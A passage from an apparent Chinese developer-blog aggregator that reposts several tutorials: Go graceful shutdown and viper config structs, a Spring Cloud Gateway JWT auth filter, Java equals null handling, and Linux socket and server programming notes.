quit := make(chan os.Signal, 1) // 创建一个接收信号的通道
// kill 默认会发送 syscall.SIGTERM 信号
// kill -2 发送 syscall.SIGINT 信号,我们常用的Ctrl+C就是触发系统SIGINT信号
// kill -9 发送 syscall.SIGKILL 信号,但是不能被捕获,所以不需要添加它
// signal.Notify把收到的 syscall.SIGINT或syscall.SIGTERM 信号转发给quit
signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM) // 此处不会阻塞
<-quit // 阻塞在此,当接收到上述两种信号时才会往下执行
zap.L().Info("Shutdown server")
// 创建一个5秒超时的context
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
// 5秒内优雅关闭服务(将未处理完的请求处理完再关闭服务),超过5秒就超时退出
if err := srv.Shutdown(ctx); err != nil {
log.Fatal("Server Shutdown: ", err)
zap.L().Error("Server Shutdown: ", zap.Error(err))
}
zap.L().Info("Server exiting")

优化代码-db 不要对外暴露

之前的代码里 把db 对外暴露 其实不合适,最好的方案还是 提供一个close 方法 这样对外暴露方法 不对外暴露db 是最合适的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
go复制代码// 初始化mysql
if err := mysql.Init(); err != nil {
fmt.Printf("init mysql failed:%s \n", err)
return
}
zap.L().Debug("mysql init success")
// 初始化redis
if err := redis.Init(); err != nil {
fmt.Printf("init redis failed:%s \n", err)
return
}

defer mysql.Close()
defer redis.Close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
vbscript复制代码var db *sqlx.DB

func Close() {
_ = db.Close()
}

func Init() (err error) {
dsn := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8mb4&parseTime=True",
viper.GetString("mysql.user"), viper.GetString("mysql.password"),
viper.GetString("mysql.host"), viper.GetInt("mysql.port"),
viper.GetString("mysql.dbname"),
)
// 也可以使用MustConnect连接不成功就panic
db, err = sqlx.Connect("mysql", dsn)
if err != nil {
zap.L().Error("connect DB failed, err:%v\n", zap.Error(err))
return
}
db.SetMaxOpenConns(viper.GetInt("mysql.max_open_connection"))
db.SetMaxIdleConns(viper.GetInt("mysql.max_idle_connection"))
return
}

优化配置项

前面的配置项 我们都是 通过字符串来取的,可读性不佳,我们现在要想办法 把config 转成一个结构体来处理,这样代码的可读性会更好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
go复制代码type AppConfig struct {
Name string `mapstructure:"name"`
Mode string `mapstructure:"mode"`
Port int `mapstructure:"port"`
*LogConfig `mapstructure:"log"`
*MysqlConfig `mapstructure:"mysql"`
*RedisConfig `mapstructure:"redis"`
}

type LogConfig struct {
Level string `mapstructure:"level"`
FileName string `mapstructure:"filename"`
MaxSize int `mapstructure:"max_size"`
MaxAge int `mapstructure:"max_age"`
MaxBackups int `mapstructure:"max_backups"`
}

type MysqlConfig struct {
Host string `mapstructure:"host"`
Port int `mapstructure:"port"`
User string `mapstructure:"user"`
Password string `mapstructure:"password"`
DbName string `mapstructure:"dbname"`
MaxOpenConnection int `mapstructure:"max_open_connection"`
MaxIdleConnection int `mapstructure:"max_idle_connection"`
}

type RedisConfig struct {
Host string `mapstructure:"host"`
Password string `mapstructure:"passowrd"`
Post int `mapstructure:"port"`
Db int `mapstructure:"db"`
PoolSize int `mapstructure:"pool_size"`
}

然后改一下我们的viper读取的流程 其实主要就是序列化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
go复制代码var Config = new(AppConfig)

// Init 加载配置文件
func Init() error {
viper.SetConfigName("config") // 配置文件的名称
viper.SetConfigType("yaml") // 配置文件的扩展名,这里除了json还可以有yaml等格式
// 这个配置可以有多个,主要是告诉viper 去哪个地方找配置文件
// 我们这里就是简单配置下 在当前工作目录下 找配置即可
viper.AddConfigPath(".")
err := viper.ReadInConfig()
if err != nil {
fmt.Println("viper init failed:", err)
return err
}
// 变化就在这里 有个序列化对象的过程
if err := viper.Unmarshal(Config); err != nil {
fmt.Println("viper Unmarshal err", err)
}
viper.WatchConfig()
viper.OnConfigChange(func(in fsnotify.Event) {
fmt.Println("配置文件已修改")
})
return err
}

修改一下 mysql的init方法 这回传递一个mysql的config参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
arduino复制代码func Init(config *setting.MysqlConfig) (err error) {
dsn := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8mb4&parseTime=True",
config.User, config.Password,
config.Host, config.Port,
config.DbName,
)
// 也可以使用MustConnect连接不成功就panic
db, err = sqlx.Connect("mysql", dsn)
if err != nil {
zap.L().Error("connect DB failed, err:%v\n", zap.Error(err))
return
}
db.SetMaxOpenConns(viper.GetInt("mysql.max_open_connection"))
db.SetMaxIdleConns(viper.GetInt("mysql.max_idle_connection"))
return
}

使用的时候 只要这样即可

1
2
3
4
5
go复制代码// 初始化mysql
if err := mysql.Init(setting.Config.MysqlConfig); err != nil {
fmt.Printf("init mysql failed:%s \n", err)
return
}

源码地址

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

(四)Gateway开发教程之自定义网关过滤器

发表于 2021-11-24

这是我参与11月更文挑战的第23天,活动详情查看:2021最后一次更文挑战

前情回顾

上篇文章,我们讲到了Gateway中的路由如何配置,及如何去细致的匹配相应的访问链接等知识点,这些就足以让我们入门Gateway的开发了。

但是,需求是不断迭代的,所以要使用更多Gateway中提供的一些特性功能等,今天就和大家聊一下Gateway提供的网关过滤器。

Gateway提供了哪些过滤器类型

Gateway中一共提供了两种过滤器,一种是GatewayFilter、GlobalFilter;

GatewayFilter:Gateway网关过滤器,是针对单个路由的过滤器,又称局部过滤器,其功能是针对访问的URL起到一定的过滤效果。

GlobalFilter:从名称而言,那就是全局过滤器,是需要实现具体的Java类来实现GlobalFilter接口,这其中可以根据进行权限的验证,HTTP请求的头部添加等等。

Gateway新增一个全局网关过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ini复制代码public class AuthFilter implements GlobalFilter, Ordered {

private final AuthProperties authProperties;
private final ObjectMapper objectMapper;
private final AntPathMatcher antPathMatcher = new AntPathMatcher();

@Override
public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
String path = exchange.getRequest().getURI().getPath();
ServerHttpResponse resp = exchange.getResponse();
String headerToken = exchange.getRequest().getHeaders().getFirst(AuthProvider.AUTH_KEY);
String paramToken = exchange.getRequest().getQueryParams().getFirst("key");
if (StringUtils.isBlank(headerToken) && StringUtils.isBlank(paramToken)) {
return unAuth(resp, "缺失令牌,鉴权失败");
}
String auth = StringUtils.isBlank(headerToken) ? paramToken : headerToken;
String token = JwtUtil.getToken(auth);
Claims claims = JwtUtil.parseJWT(token);
if (claims == null) {
return unAuth(resp, "请求未授权");
}
return chain.filter(exchange);
}

@Override
public int getOrder() {
return -100;
}

}

上述代码中就是实现了一个全局权限验证的过滤器,将其放置在Gateway中来实现,就是要对所有的URL来进行验证,其中使用了JwtUtil来解析token,这个我们后面会说一下如何集成JWT的,请大家稍安勿躁。

并且实现了Ordered接口,使用此接口来限定在多个过滤器场景下的过滤器执行次序的问题。

总结

今天学习了Gateway组件中如何自定义网关过滤器的知识,你是否有所收获呢?

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

aequals(b)背后的秘密

发表于 2021-11-24

这是我参与11月更文挑战的第22天,活动详情查看:2021最后一次更文挑战

写在前面

平常开发中,大家都用什么方法来判断两个值是否相等,脱口而出的是equals,先给大家个结论,那就是不建议大家a.equals(b)去判断是否相等,看完本篇文章就知道了,大家都知道的是判断对象是否为空 是否相同都是拿== 来判断,那么不是对象呢。

当值是null的情况

1、a.equals(b) , a 是null

1
java复制代码null.equals("abc")    →   抛出 NullPointerException 异常

这种意料之内,null是不能干任何事的,否则都会报空指针的

2、a.equals(b), a不是null, b是null

1
java复制代码"abc".equals(null)    →   返回 false

可以看到 这次不报错了。而且结果确实为false。

3、a和b都为null时,我们看下(肯定也报空指针)

1
java复制代码null.equals(null)     →   抛出 NullPointerException 异常

也经常拿Objects来判断 。Objects.equals(a, b)比较时, 若a 和 b 都是null, 则返回 true, 如果a 和 b 其中一个是null, 另一个不是null, 则返回false。注意:不会抛出空指针异常。

1
2
3
4
5
java复制代码Objects.equals(null, "abc")    →   返回 false

Objects.equals("abc",null) → 返回 false

Objects.equals(null, null) → 返回 true

接下来再看当是空字符串的情况

值是空字符串

1、a 和 b 如果都是空值字符串:””

1
java复制代码"".equals("")       →   返回 true

1、如果a和b其中有一个不是空值字符串,则都会返回false;

1
2
3
java复制代码"abc".equals("")    →   返回 false

"".equals("abc") → 返回 false

再看Objects

1
2
3
4
5
java复制代码Objects.equals("abc", "")    →   返回 false

Objects.equals("","abc") → 返回 false

Objects.equals("","") → 返回 true

所以说当值是空字符串的时候 这样判断是没有问题的。

我们看下源码,为什么会出现这种差异

究其源码

先来看Objec根类 equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
java复制代码public class Object {

private static native void registerNatives();
static {
registerNatives();
}

//首先this不可能去拿null去判断 所以null去equals行不通
//obj传进来的可以为空,因为是拿 == 去判断的
//归根到底还是==去判断
public boolean equals(Object obj) {
return (this == obj);
}

...
}

接下来再看Objecs中的equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
java复制代码public final class Objects {
    private Objects() {
        throw new AssertionError("No java.util.Objects instances for you!");
    }
 
    /**
     * Returns {@code true} if the arguments are equal to each other
     * and {@code false} otherwise.
     * Consequently, if both arguments are {@code null}, {@code true}
     * is returned and if exactly one argument is {@code null}, {@code
     * false} is returned.  Otherwise, equality is determined by using
     * the {@link Object#equals equals} method of the first
     * argument.
     *
     * @param a an object
     * @param b an object to be compared with {@code a} for equality\
     * @return {@code true} if the arguments are equal to each other\
     * and {@code false} otherwise
     * @see Object#equals(Object)
     */
    public static boolean equals(Object a, Object b) {
        return (a == b) || (a != null && a.equals(b));
    }
...
}
  • 首先,进行了对象地址的判断,如果是真,则不再继续判断。
  • 如果不相等,后面的表达式的意思是,先判断a不为空,然后根据上面的知识点,就不会再出现空指针。
  • 所以,如果都是null,在第一个判断上就为true了。如果不为空,地址不同,就重要的是判断a.equals(b)。

总结

当Object.equals 第一值要判空,或者直接用Objects.equals去判断

OK。今天我们就学习到这里,分享一点小细节,积少成多。我们下期再见 加油!

弦外之音

copy对象,这个操作有点骚!

干货!SpringBoot利用监听事件,实现异步操作

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Linux高性能服务器开发 六、高级I/O函数 七、Linu

发表于 2021-11-24

公众号:畅游码海 更多高质量原创文章都在里面~

主机字节序和网络字节序:

在32位机器上,累加器一次能装载4个字节,这四个字节在内存中排列顺序将影响它被累加器装载成的整数的值

大端字节序(网络字节序):一个整数的高位字节存储在内存的低地址处

小端字节序(现代PC大多数采用):整数的高位字节存储在内存的高地址处

即使是同一台机器上不同语言编写的程序通信,也要考虑字节序的问题

Linux下字节序转换函数:

1
2
3
4
5
c++复制代码 #include<netinet/in.h>
unsigned long int htol (unsigned long int hostlong); //主机字节序转换成网络字节序
unsigned short int htons (unsigned short int hostshort);//主机字节序转换成网络字节序
unsigned long int ntohl (unsigned long int netlong);//网络字节序转换成主机字节序
unsigned short int ntohs (unsigned short int netshort);//网络字节序转换成主机字节序

socket地址

1
2
3
4
5
c++复制代码 #include<bits/sockets.h>
struct sockaddr{
sa_family_t sa_family; //地址族类型的变量与协议族对应
char sa_data[14]; //存放socket地址值
}
协议族 地址族 描述 地址值含义和长度
PF_UNIX AF_UNIX UNIX本地域协议族 文件的路径名,长度可达108字节
PF_INET AF_INET TCP/IPv4协议族 16bit端口号和32bit IPv4地址,6字节
PF_INET6 AF_INET6 TCP/IPv6协议族 16bit端口号,32bit流标识,128bit IPv6地址,32bit范围ID,共26字节

为了容纳多数协议族地址值,Linux重新定义了socket地址结构体

1
2
3
4
5
6
c++复制代码#include<bits/socket.h>
struct sockaddr_storage{
sa_family_t sa_family;
unsigned long int __ss_align; //是内存对齐的
char __ss_padding[128-sizeof(__ss_align)];
}

Linux为TCP/IP协议族有sockaddr_in和sockaddr_in6两个专用socket地址结构体,它们分别用于IPv4和IPv6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
c++复制代码 //对于IPv4的:
struct sockaddr_in{
sa_family sin_family; //地址族:AF_INET
u_int16_t sin_port; //端口号,要用网络字节序表示
struct in_addr sin_addr;//IPv4地址结构体
}
//IPv4的结构体
struct in_addr
{
u_int32_t s_addr; //要用网络字节序表示
}
//对于IPv6
struct sockaddr_in6{
sa_family_t sin6_family;//AF_INET6
u_int16_t sin6_port; //端口号,要用网络字节序表示
u_int32_t sin6_flowinfo;//流信息,应设置为0
struct in6_addr sin6_addr;//IPv6地址结构体
u_int32_t sin6_scope_id;//scope ID,处于试验阶段
}
//IPv6的结构体
struct in6_addr
{
unsigned char sa_addr[16]; //要用网络字节序表示
}

使用的时候要强制转换成通用的socket地址类型socketaddr

点分十进制字符串表示的IPv4地址和网络字节序整数表示的IPv4地址转换

1
2
3
4
c++复制代码 #incldue<arpa/inet.h>
in_addr_t inet_addr(const char* strptr); //点分十进制--->网络字节序整数 ,失败返回INADDR_NONE
int inet_aton (const char* cp,struct in_addr* inp);//功能同上,结果存储于参数inp指向的地址结构中,成功返回1,失败返回0
char* inet_ntoa (struct in_addr in); //网络字节序整数--->点分十进制,函数内部用静态变量存储转化结果,返回值指向该变量,inet_ntoa是不可重入的
1
2
3
4
5
6
7
8
9
10
c++复制代码//功能同上,可用于IPv6
#include<arpa/inet.h>
int inet_pton(int af,const char* src,void* dst);//把结果存放在dst所指内存中,其中af代表协议族----成功返回1,失败返回0并且设置error
const char* inet_ntop(int af,const void* src,char* dst,socklen_t cnt);//同理


//下面两个宏可帮助我们指定cnt的大小
#include<netinet/in.h>
#define INET_ADDRSTRLEN 16
#define INET6_ADDRSTRLEN 46

创建socket

Linux上所有东西都是文件

1
2
3
c++复制代码 #include<sys/types.h>
#include<sys/socket.h>
int socket (int domain,int type ,int protocol);//domain参数代表底层协议族(IPv4使用PF_INET)、Type参数指定服务类型分为SOCK_STREAM服务(流服务器--使用TCP协议)和SOCK_DGRAM服务(数据报服务--使用UDP协议)、protocol参数是在前两个参数构成的协议集合下,再选择一个具体的协议(几乎所有情况下它设置0,表示使用默认协议)

socket系统调用成功时返回一个socket文件描述符,失败则返回-1并设置errno

命名socket

创建了socket,并且指定了地址族,但是并没有指定使用地址族中具体socket地址

将一个socket与socket地址绑定称为给socket命名

客户端通常不需要命名socket,而是采用匿名方式,即使用操作系统自动分配的socket地址

1
2
3
c++复制代码 #include<sys/types.h>
#include<sys/socket.h>
int bind (int sockfd,const struct sockaddr* my_addr,socklen_t addrlen)//bind将my_addr所指的socket地址分配给未命名的sockfd文件描述符,addrlen参数指出该socket地址的长度,bind成功返回0,失败返回-1并设置errno

两种常见的errno是EACCES和EADDRINUSE

EACCCES:被绑定的地址是受保护的地址,仅超级用户能访问。
EADDRINUSE: 被绑定的地址正在使用中(例如将socket绑定到一个处于TIME_WAIT状态的socket地址)

监听socket

命名后,还不能马上接受客户连接,我们需要使用如下系统调用来创建一个监听队列以存放待处理的客户连接

1
2
#include<sys/socket.h>
int listen (int sockfd,int backlog);//sockfd参数指定被监听的socket,backlog参数提示内核监听队列的最大长度,监听队列的长度如果超过backlog,服务器将不再受理新的客户连接,客户端也将收到ECONNREFUSED错误信息

内核版本2.2之前 :backlog参数是指多有处于半连接的状态(SYN_RCVD)和完全连接状态(ESTABLISHED)的socket的上限

内核版本2.2之后:它只表示处于完全连接状态的socket的上线,处于半连接状态的socket的上限,则是在tcp_max_syn_backlog内核参数定义。

backlog参数的典型值是5,listen成功时返回0,失败则返回-1并设置errno

接受连接

1
2
3
c++复制代码 #include<sys/types.h>
#include<sys/socket.h>
int accept(int sockfd , struct sockaddr *addr,socklen_t *addrlen);//sockfd参数是执行过listen系统调用的监听socket。addr参数用来获取被接受连接的远端socket地址,该socket地址的长度由addrlen参数指出。accept成功时返回一个新的连接socket,该socket唯一标识了被接受的这个连接,服务器可通过读写该socket来与被接受连接对应的客户端通信。失败时返回-1,并设置了errno。

发起连接

1
2
3
c++复制代码 #include<sys/types.h>
#include<sys/socket.h>
int connect(int sockfd, const struct sockaddr *serv_adr,socklen_t addrlen);//sockfd参数是socket系统调用返回一个socket,serv_addr参数是服务器监听的socket地址,addrlen参数则是指定

connect成功时返回0,一旦成功建立连接,sockfd就唯一的标识了这个连接,客户端就可以通过读写sockfd来与服务器通信。失败返回-1并设置errno

ECONNREFUSED: 目标端口不存在,连接被拒绝
ETIMEDOUT: 连接超时

关闭连接

1
2
c++复制代码 #include<unistd.h>
int close(int fd); //fd参数是待关闭的socket,不过并不是立即关闭连接,而是将fd的引用计数减一,当为0时,才真正关闭连接

多进程程序中,一次系统调用将默认使父进程中打开的socket的引用计数加1,因此我们必须在父进程和子进程中都对该socket执行close调用才能将连接关闭

如果无论如何都要立即终止连接,可以使用shutdown系统调用

1
2
c++复制代码 #include<sys/socket.h>
int shutdown (int sockfd,int howto);//sockfd参数是待关闭的socket,howto参数决定了shutdown的行为
可选值 含义
SHUT_RD 关闭sockfd上读的这一半。应用程序不再针对socket文件描述符执行读操作,并且该socket接收缓冲区中的数据都被丢弃
SHUT_WR 关闭sockfd上写的这一半。sockfd的发送缓冲区中的数据会真正关闭连接之前全部发送出去,应用程序不可再对该sockfd文件描述符执行写操作。这种情况下,连接处于半连接状态
SHUT_RDWR 同时关闭sockfd上读和写

shutdown能够分别关闭sockfd上的读和写,或者都关闭。而close在关闭连接时只能将sockfd上的读和写同时关闭

shutdown成功时返回0,失败则返回-1并设置errno

数据读写

tcp 数据读写

1
2
3
4
c++复制代码 #include<sys/types.h>
#include<sys/socket.h>
ssize_t recv (int sockfd , void *buf ,size_t len ,int flags); //recv读取sockfd上的数据,buf和len参数分别指定读缓冲区的位置和大小,flags参数的含义见后文,通常设置为0即可。 成功返回实际读取到的数据的长度,它可能小于我们期望的长度len。因此我们可能要多次调用。 返回0,这意味着通信对方已经关闭连接了,出错时返回-1,并设置errno。
ssize_t send (int sockfd , const void *buf ,size_t len,int flags);//send往sockfd上写入数据,buf和len依然是缓存区的位置和大小。send成功时返回实际写入的长度,失败则返回-1,并设置errno。

flags参数提供额外的控制

flags参数值

UDP数据读写

1
2
3
4
5
c++复制代码 #include<sys/types.h>
#include<sys/socket.h>
ssize_t recvfrom (int sockfd ,void* buf , size_t len, int flags , struct sockaddr* src_addr ,socklen_t* addrlen);//recvfrom读取sockfd上的数据,buf和len参数分别指定读缓冲区的位置和大小,因为UDP通信没有连接的概念,所以我们每次读取数据都需要获取发送端的socket地址,即参数src_addr所指的内容,addrlen参数则指定该地址的长度
ssize_t sendto (int sockfd , const void* buf ,size_t len,int flags ,const struct sockaddr* dest_addr, socklen_t addrlen );// sendto往sockfd上写入数据,buf和len参数分别指定写缓冲区的位置和大小。dest_addr参数指定接收端的socket地址,addrlen参数则指定该地址的额长度
//flag含义同上

这两个也可用于面向连接的socket的数据读写,只需要把最后两个参数都设置为NULL以忽略发送端/接收端的socket地址(已经建立连接了,就知道socket地址了)

通用数据读写的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
c++复制代码#include<sys/socket.h>
ssize_t recvmsg (int sockfd, struct msghdr* msg ,int flags);
ssize_t sendmsg (int sockfd ,struct msghdr* msg,int flags);
//msghdr结构体
struct msghdr
{
void* msg_name; //socket地址 对于TCP连接这个没有,因为地址已经知道了
socklen_t msg_namelen;//socket地址的长度
struct iovec* msg_lov;//分散的内存块 //封装了位置和大小 //数组
int msg_iovlen;//分散的内存块数量
void* msg_control;//指向辅助数据的起始位置
socllen_t msg_controllen;//辅助数据的大小
int msg_flags;//赋值函数中的flags参数,并在调用过程中更新
}
struct iovec{
void *iov_base; //内存起始地址
size_t iov_len; //内存块的长度
}

对于recvmsg来说,数据将被读取并存放在msg_iovlen块分散的内存中,这些内存的位置和长度则由msg_iov指向的数组指定,这称为分散读;对于sendmsg而言,msg_iovlen块分散内存中的数据将被一并发送,这称为集中写

带外标记

1
2
c++复制代码 #include<sys/socket.h>
int sockatmark (int sockfd);//判断sockfd是否处于带外标记,即下一个被读取的的数据是否是带外数据。是则返回1,此时可利用带MSG_OOB标志的recv调用来接收带外数据,不是则返回0

地址信息函数

1
2
3
c++复制代码 #include<iosstream>
int getsockname (int sockfd,struct sockaddr* address, socklen_t* address_len);//获取本端sockfd地址,并存储于address参数指定的内存中,长度存储在address_len参数指定的变量中,实际长度大于address所指内存区的大小,那么该socket地址将被截断。成功返回0,失败返回-1,并设置errno
int getpeername (int sockfd, struct sockaddr* address , socklen_t* address_len);//获取sockfd对应的远端socket地址

socket选项

1
2
3
c++复制代码 #include<sys/socket.h>
int getsockopt (int sockfd,int level,int option_name , void* option_value);//sockfd参数指定被操作的目标socket。level参数指定要操作哪个协议的选项,option_name参数则指定选项的名字 ,option_value和option_len参数分别是被操作选项的值和长度
int setsockopt (int sockfd , int level ,int option_name ,const void* option_value,socklen_t option_len);

两个函数成功返回0 ,失败返回-1并设置errno

socket选项

网络信息API

1
2
3
4
5
6
7
8
9
10
11
12
13
c++复制代码 //根据主机名,获取主机的完整信息
#include<neidb.h>
struct hostent* gethostbyname (const char* name);
struct hostent* gethostbyaddr (const void* addr ,size_t len, int type);

#include<netdb.h>
struct hostent{
char* h_name; //主机名
char** h_aliases;//主机别名列表,可能由多个
int h_addrtype; //地址类型(地址族)
int h_length; //地址长度
char** h_addr_list;//按网络字节序列出的主机IP地址列表
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
c复制代码  
```c++
//根据名称获取某个服务器的完整信息
#include<netdb.h>
struct servent* getservbyname (const char* name,const char* proto);
struct servent* getservbyport (int port ,const char* proto);

#include<netdb.h>
struct servent{
char* s_name;//服务名称
char** s_aliases;//服务的别名列表,可能多个
int s_port;//端口号
char* s_proto;//服务类型,通常是TCP或者UDP
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c++复制代码 //通过主机名获取IP地址,也能通过服务名获得端口号----内部使用的是geihostbyname和getservbyname
#include<netdb.h>
int getaddrinfo (const char* hostname ,const char* service ,const struct addrinfo* hints ,struct addrinfo** result);

struct addrinfo
{
int ai_flags;
int ai_family; //地址族
int ai_socktype;//服务类型,SOCK_STREAM或SOCK_DGRAM
int ai_protocol;
socklen_t ai_addrlen;//socket地址ai_addr的长度
char* ai_canonname;//主机的别名
struct sockaddr* ai_addr;//指向socket地址
struct addrinfo* ai_next;//指向下一个sockinfo结构的对象
}

该函数将隐式的分配堆内存,所以我们需要配对下面的函数

1
2
3
c++复制代码 //用来释放内存
#include<netdb.h>
void freeaddrinfo (struct addrinfo* res);
1
2
3
c++复制代码 //将返回的主机名存储在hsot参数指向的缓存中,将服务名存储在serv参数指向的缓存中,hostlen和servlen参数分别指定这两块缓存的长度
#include<netdb.h>
int getnameinfo (const struct sockaddr* sockaddr,socklen_t addrlen,char* host,socklen_t hostlen,char* serv,socklen_t servlen,int flags);

getnameinfo的flags

getaddrinfo错误码

六、高级I/O函数

1
2
3
4
c++复制代码 //pipe函数可用于创建一个管道,以实现进程间通信
#include<unistd.h>
int pipe( int fd[2]);//参数是一个包含两个int型整数的数组指针,函数成功时返回0,并将打开的文件描述符值填入其参数指向的数组,失败则返回-1并设置errno
//fd[0]只能从管道读出数据,fd[1]则只能用于往管道里写入数据,而不能反过来使用,要实现双向,就得使用两个管道---都是阻塞的
1
2
3
4
5
c++复制代码 //方便创建双向管道
#include<sys/types>
#include<sys/socket.h>
int socketpair (int domain ,int type ,int protocol ,int fd[2]);
//dpmain只能使用AF_UNIX,仅能在本地使用。最后一个参数则和pipe系统调用的参数一样,只不过socketpair创建的这对文件描述符都是即可读有可写的,成功返回0,失败返回-1并设置errno
1
2
3
4
c++复制代码 //把标准输入重定向到文件或网络
#include<unistd.h>
int dup (int file_descriptor);
int dup2 (int file_descriptor_one, int file_descriptor_two);
1
2
3
4
5
c++复制代码 //分散读和集中写
#include<sys/uio.h>
ssize_t readv (int fd, const struct iovec* vector ,int count);
ssize_t writev (int fd , const struct iovec* vector, int count);
//vector中存储的是iovec结构数组,count是vector数组的长度
1
2
3
4
c++复制代码 //在两个文件描述符之间传递数据(完全在内核中操作),从而避免了内核缓冲区和用户缓冲区之间的数据拷贝,效率很高,这被称为--------零拷贝
#include<sys/sendfile.h>
ssize_t sendfile (int out_fd,int in_fd, off_t* offest ,size_t count);
//in_fd参数是待读出内容的文件描述符,out_fd是待写入内容的文件描述符,offest参数指定从读入文件流哪个位置开始读,为空,则使用读入文件流默认的起始位置,count参数指定在文件描述符之间传输的字节数
1
2
3
4
5
6
7
8
9
c++复制代码 //用于申请一段内存空间
#include<sys/mman.h>
void* mmap (void *start ,size_t length,int prot ,int flags ,int fd,off_t offest);
int munmap (void *start,size_t length);
//start允许用户使用特定的地址作为起始地址,length指定内存段的长度,port参数用来设置内存段的访问权限
//PROT_READ 内存段可读
//PROT_WRITE 内存段可写
//PROT_EXEC 内存段可执行
//PROT_NONE 内存段不能被访问

mmap的flags

1
2
3
4
c++复制代码 //用来在两个文件描述符之间移动数据----零拷贝
#include<fcntl.h>
ssize_t splice (int fd_in ,loff_t* off_in ,int fd_out , loff_t* off_out,size_t len, unsigned int flags);
//fd_int 如果是管道文件描述符,则off_in设置NULL。如果不是,则off_in参数表示从输入数据流的何处开始读取数据,不为NULL则表示具体的偏移位置,fd_out和off_out同理,len参数指定移动数据的长度

splice的flags

1
2
3
4
c++复制代码 //在两个管道文件描述符之间复制数据,也就是零拷贝操作
#include<fcntl.h>
ssize_t tee (int fd_in ,int fd_out ,size_t len ,unsigned int flags);
//参数与splice相同
1
2
3
4
c++复制代码 //提供了对文件描述符的各种控制操作
#include<fcntl.h>
int fcntl (int fd,int cmd,···);
//fd参数是被操作的文件描述符,cmd参数指定执行何种操作,根据类型不同,可能还需要第三个可选参数arg

fcntl支持的操作1

fcntl支持的操作2

七、Linux服务器程序规范

服务器程序规范:

Linux服务器程序一般以后台方式运行——守护进程
Linux服务器程序通常有一套日志系统,至少能输出日志到文件,有的高级服务器还能输出日志到专门的UDP服务器,大部分后台进程都在 /var/log目录下用哟哟自己的日志目录
Linux服务器程序一般以某个专门的非root身份运行
Linux服务器程序通常是可配置的,服务器通常能处理很多命令行选项,如果一次运行的选项太多,则可以用配置文件来管理,绝大多数服务器程序都是有配置文件的,并存放在/etc目录下
Linux服务器程序进程通常会在启动的时候生成一个PID文件并存入/var/run目录中记录该后台进程的PID
Linux服务器程序通常需要考虑系统资源和限制,以预测自身能承受多大负荷

日志

Linux日志系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
c++复制代码 #include<syslog.h>
void syslog (int priority ,const char* message , ...)
//priority参数是所谓的设施值与日志级别的按位或,默认值是LOG_USER

//日志级别
#include<syslog.h>
#define LOG_EMERG 0//系统不可用
#define LOG_ALERT 1//报警,需要理解立即动作
#define LOG_CRIT 2//非常严重的情况
#define LOG_ERR 3//错误
#define LOG_WARNING 4//警告
#define LOG_NOTICE 5//通知
#define LOG_INFO 6//信息
#define LOG_DEBUG 7//调试

//改变syslog的默认输出方式,进一步结构化日志内容
#include<syslog.h>
void openlog (const char* ident ,int logopt ,int facility) ;
//ident参数指定的字符串被添加到日志消息的日期和时间之后,通常被设置为程序的名字

//logopt参数对后续syslog调用行为配置
#define LOG_PID 0x01 //在日志消息中包含程序PID
#define LOG_CONS 0x02 //如果消息不能记录到日志文件,则打印至终端
#define LOG_ODELAY 0x04 //延迟打开日志功能知道第一次调用syslog
#define LOG_NDELAY 0x08 //不延迟打开日志功能

//设置syslog的日志掩码
#include<syslog.h>
int setlogmask (int maskpri);
//maskpri参数指定日志掩码值。该函数始终会成功,它返回调用进程先前的日志掩码值

//关闭日志功能
#include<syslog.h>
void closelog();

用户信息

1
2
3
4
5
6
7
8
9
10
11
//用来获取和设置当前进程的真实用户ID(UID)、有效用户ID(EUID )、真实组ID(GID)和有效组ID(EGID)
#include<sys/types.h>
#include<unistd.h>
uid_t getuid(); //获取真实用户ID
uid_t geteuid(); //获取有效用户ID
gid_t getgid(); //获取真实组ID
gid_t getegid(); //获取有效组ID
int setuid(uid_t uid);//设置真实用户ID
int seteuid(uid_t uid);//设置有效用户ID
int setgid(gid_t gid);//设置真实组ID
int setegid (gid_t gid);//设置有效组ID

一个进程拥有两个用户ID:UID和EUID,EUID存在的目的是方便资源访问:它使得运行程序的用户拥有该程序的有效用户的权限

进程间关系

进程组

1
2
3
c++复制代码 #include<unistd.h>
pid_t getgid (pid_t pid);
//成功返回进程pid所属的进程组的PGID,失败返回-1并设置errno

每个进程都有一个首领进程,其PGID和PID相同。进程将一直存在,直到其他所有进程都退出,或者加入到其他进程组

会话

1
2
3
4
5
6
7
8
9
//创建一个会话
#include<unistd.h>
pid_t setsid (void);
// 1.调用进程成为会话的首领,此时该进程是新会话的唯一成员
// 2.新建一个进程组,其PGID就是调用进程的PID,调用进程成为该组的首领
// 3.调用进程将甩开终端(如果有的话)
//读取SID
#include<unistd.h>
pid_t getsid (pid_t pid);

进程间关系

进程间关系

系统资源限制

1
2
3
4
5
6
7
8
9
10
11
12
//Linux上运行的程序都会受到资源限制的影响
#include<sys/resource.h>
int getrlimit (int resource , struct rlimit* rlim); //读取资源
int setrlimit (int resource , const struct rlimit* rlim);//设置资源

//rlimit结构体
struct rlimit
{
rlim_t rlim_cur;//指定资源的软限制
